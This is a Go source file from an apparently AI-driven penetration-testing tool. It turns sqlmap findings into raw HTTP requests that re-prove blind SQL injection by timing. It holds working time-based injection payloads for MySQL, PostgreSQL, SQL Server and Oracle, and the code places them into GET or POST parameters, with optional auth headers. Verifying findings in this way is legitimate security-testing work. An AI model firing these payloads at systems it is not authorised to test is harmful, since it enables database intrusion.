package exploit

import (
	"fmt"
	"net/url"
	"strings"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/swarm/verify"
)

// SQLiInjection is the injection context sqlmap confirmed: which request part
// carries the injectable value, the parameter name, and the DBMS fingerprint.
// It is the minimum a timing re-proof needs — derived from sqlmap's structured
// output, not the opaque raw log blob.
type SQLiInjection struct {
	Place     string // sqlmap place: GET, POST, URI, ...
	Parameter string // injectable parameter name
	DBMS      string // fingerprinted backend, e.g. "MySQL", "PostgreSQL"
}

// SQLiTimingSpec turns a confirmed blind-SQLi injection point into an external-
// oracle timing re-proof recipe. A time-based payload that sleeps for §DELAY§
// seconds is placed at the injectable parameter's value; the timing oracle then
// proves the injection by confirming the induced latency clears the target's
// noise floor and SCALES with the injected delay — a wall-clock signal no model
// produced.
//
// targetURL is the endpoint sqlmap tested (its query string, for a GET place,
// carries the injectable parameter); authHeader is an optional session
// credential ("Bearer <jwt>") so the probe reproduces the authenticated
// context. Returns an error when the place is unsupported or the DBMS has no
// known time-based payload, so a producer can't attach a recipe that would
// silently never fire.
func SQLiTimingSpec(targetURL string, inj SQLiInjection, authHeader string) (*verify.ProbeSpec, error) {
	delayPayload, err := sleepPayload(inj.DBMS)
	if err != nil {
		return nil, err
	}
	raw, err := sqliRawRequest(targetURL, inj, authHeader)
	if err != nil {
		return nil, err
	}
	// The payload lands in a URL query string (GET/URI) or a form-urlencoded
	// body (POST); its spaces, quotes and comment chars would corrupt the raw
	// HTTP request unless percent-encoded. Encode around the §DELAY§ marker so
	// the oracle can still find and substitute it (the injected seconds are
	// numeric, hence query-safe).
	delayTemplate := encodePreservingMarker(delayPayload, verify.DelayMarker)
	return verify.NewTimingSpec(raw, "", delayTemplate)
}

// encodePreservingMarker percent-encodes payload for a query/form context while
// leaving the marker token literal, so the oracle's later substitution still
// matches it.
func encodePreservingMarker(payload, marker string) string {
	parts := strings.Split(payload, marker)
	for i, p := range parts {
		parts[i] = url.QueryEscape(p)
	}
	return strings.Join(parts, marker)
}

// sleepPayload returns a time-based payload whose §DELAY§ slot is the sleep
// duration in seconds, selected for the fingerprinted DBMS. The payload closes
// a possible string context (a trailing quote + comment) and keeps the
// statement syntactically valid whether the parameter was string- or numeric-
// bound, so the oracle's baseline (0s) and attack (Ns) requests both execute.
func sleepPayload(dbms string) (string, error) {
	switch normalizeDBMS(dbms) {
	case "mysql":
		return "1' AND SLEEP(" + verify.DelayMarker + ")-- -", nil
	case "postgresql":
		return "1' AND (SELECT 1 FROM PG_SLEEP(" + verify.DelayMarker + "))-- -", nil
	case "mssql":
		// WAITFOR takes HH:MM:SS; the oracle injects integer seconds (0, 5, 10).
		return "1'; WAITFOR DELAY '0:0:" + verify.DelayMarker + "'-- -", nil
	case "oracle":
		return "1' AND DBMS_PIPE.RECEIVE_MESSAGE('a'," + verify.DelayMarker + ")-- -", nil
	case "sqlite":
		// SQLite has no sleep; a heavy randomblob keyed to §DELAY§ is the
		// conventional time-based primitive, but it does not scale linearly, so
		// we refuse rather than attach a recipe the ladder test would reject.
		return "", fmt.Errorf("sqli timing: SQLite has no linear time-based primitive")
	default:
		return "", fmt.Errorf("sqli timing: no known time-based payload for DBMS %q", dbms)
	}
}

// normalizeDBMS folds sqlmap's DBMS strings (e.g. "MySQL >= 5.0.12",
// "Microsoft SQL Server") onto a small set of keys.
func normalizeDBMS(dbms string) string {
	d := strings.ToLower(dbms)
	switch {
	case strings.Contains(d, "mysql") || strings.Contains(d, "mariadb"):
		return "mysql"
	case strings.Contains(d, "postgres"):
		return "postgresql"
	case strings.Contains(d, "microsoft") || strings.Contains(d, "mssql") || strings.Contains(d, "sql server"):
		return "mssql"
	case strings.Contains(d, "oracle"):
		return "oracle"
	case strings.Contains(d, "sqlite"):
		return "sqlite"
	default:
		return ""
	}
}

// sqliRawRequest builds a raw HTTP/1.1 request that places the injection marker
// at the injectable parameter's value. GET parameters go in the query string;
// POST parameters go in a form-urlencoded body. Host and path are split by hand
// (not net/url) so the § marker is placed verbatim — url.Parse would percent-
// encode it. Returns an error for an unsupported place.
func sqliRawRequest(targetURL string, inj SQLiInjection, authHeader string) (string, error) {
	place := strings.ToUpper(strings.TrimSpace(inj.Place))
	if place == "" {
		place = "GET"
	}
	rest := targetURL
	for _, p := range []string{"https://", "http://"} {
		rest = strings.TrimPrefix(rest, p)
	}
	host, pathQuery := rest, "/"
	if i := strings.IndexAny(rest, "/?#"); i >= 0 {
		host, pathQuery = rest[:i], rest[i:]
	}
	path, query := pathQuery, ""
	if i := strings.IndexByte(pathQuery, '?'); i >= 0 {
		path, query = pathQuery[:i], pathQuery[i+1:]
	}
	if path == "" {
		path = "/"
	}

	var b strings.Builder
	switch place {
	case "GET", "URI":
		marked := markParam(query, inj.Parameter)
		reqPath := path
		if marked != "" {
			reqPath = path + "?" + marked
		}
		b.WriteString("GET " + reqPath + " HTTP/1.1\r\n")
		writeCommonHeaders(&b, host, authHeader)
		b.WriteString("\r\n")
	case "POST":
		body := inj.Parameter + "=" + verify.DefaultMarker
		b.WriteString("POST " + path + " HTTP/1.1\r\n")
		writeCommonHeaders(&b, host, authHeader)
		b.WriteString("Content-Type: application/x-www-form-urlencoded\r\n")
		fmt.Fprintf(&b, "Content-Length: %d\r\n", len(body))
		b.WriteString("\r\n")
		b.WriteString(body)
	default:
		return "", fmt.Errorf("sqli timing: unsupported injection place %q", inj.Place)
	}
	return b.String(), nil
}

// markParam replaces the named parameter's value in a query string with the
// injection marker, preserving the other parameters. If the parameter is absent
// it is appended, so a GET injection point that sqlmap reported but the caller's
// URL omitted still produces a firing probe.
func markParam(query, param string) string {
	marked := param + "=" + verify.DefaultMarker
	if query == "" {
		return marked
	}
	parts := strings.Split(query, "&")
	found := false
	for i, p := range parts {
		name := p
		if j := strings.IndexByte(p, '='); j >= 0 {
			name = p[:j]
		}
		if name == param {
			parts[i] = marked
			found = true
		}
	}
	if !found {
		parts = append(parts, marked)
	}
	return strings.Join(parts, "&")
}

// writeCommonHeaders writes the Host and optional Authorization headers shared
// by the GET and POST request shapes.
func writeCommonHeaders(b *strings.Builder, host, authHeader string) {
	if host != "" {
		b.WriteString("Host: " + host + "\r\n")
	}
	if authHeader != "" {
		b.WriteString("Authorization: " + authHeader + "\r\n")
	}
}

// SQLiInjectionPoints recovers the confirmed injection points from sqlmap's
// structured scan data (ToolResult.ParsedFindings), not its raw log. sqlmap
// reports each injection as an object carrying place, parameter, and the DBMS
// fingerprint; this reads those fields structurally (tolerant of sqlmap version
// differences) and returns the distinct points. Only points with a parameter
// are returned — a timing re-proof needs one.
func SQLiInjectionPoints(parsed []map[string]any) []SQLiInjection {
	var out []SQLiInjection
	seen := map[string]struct{}{}
	add := func(inj SQLiInjection) {
		if inj.Parameter == "" {
			return
		}
		key := inj.Place + "|" + inj.Parameter
		if _, dup := seen[key]; dup {
			return
		}
		seen[key] = struct{}{}
		out = append(out, inj)
	}
	for _, entry := range parsed {
		// sqlmap wraps injection objects in a "value" list; some shapes place a
		// single object directly. Handle both.
		switch v := entry["value"].(type) {
		case []any:
			for _, item := range v {
				if m, ok := item.(map[string]any); ok {
					if inj, ok := injectionFromMap(m); ok {
						add(inj)
					}
				}
			}
		case []map[string]any:
			for _, m := range v {
				if inj, ok := injectionFromMap(m); ok {
					add(inj)
				}
			}
		default:
			if inj, ok := injectionFromMap(entry); ok {
				add(inj)
			}
		}
	}
	return out
}

// injectionFromMap reads an injection object. It is an injection only if it
// names a parameter; place defaults to GET and DBMS is best-effort (it may also
// live in the per-technique data titles, which we fall back to).
func injectionFromMap(m map[string]any) (SQLiInjection, bool) {
	param := mapString(m, "parameter")
	if param == "" {
		return SQLiInjection{}, false
	}
	inj := SQLiInjection{
		Place:     mapString(m, "place"),
		Parameter: param,
		DBMS:      mapString(m, "dbms"),
	}
	if inj.DBMS == "" {
		inj.DBMS = dbmsFromTechniqueData(m["data"])
	}
	return inj, true
}

// dbmsFromTechniqueData digs the DBMS out of sqlmap's per-technique data block
// (keyed by technique number → {title, payload, ...}) when the injection object
// carries no top-level dbms field. The title reads like "MySQL >= 5.0.12 AND
// time-based blind", so the leading fingerprint words are enough for
// normalizeDBMS.
func dbmsFromTechniqueData(data any) string {
	m, ok := data.(map[string]any)
	if !ok {
		return ""
	}
	for _, v := range m {
		tech, ok := v.(map[string]any)
		if !ok {
			continue
		}
		if title := mapString(tech, "title"); title != "" {
			if norm := normalizeDBMS(title); norm != "" {
				return title
			}
		}
	}
	return ""
}

// mapString reads a string value from a decoded-JSON map, tolerant of a nil map
// or a non-string value.
func mapString(m map[string]any, key string) string {
	if m == nil {
		return ""
	}
	if s, ok := m[key].(string); ok {
		return strings.TrimSpace(s)
	}
	return ""
}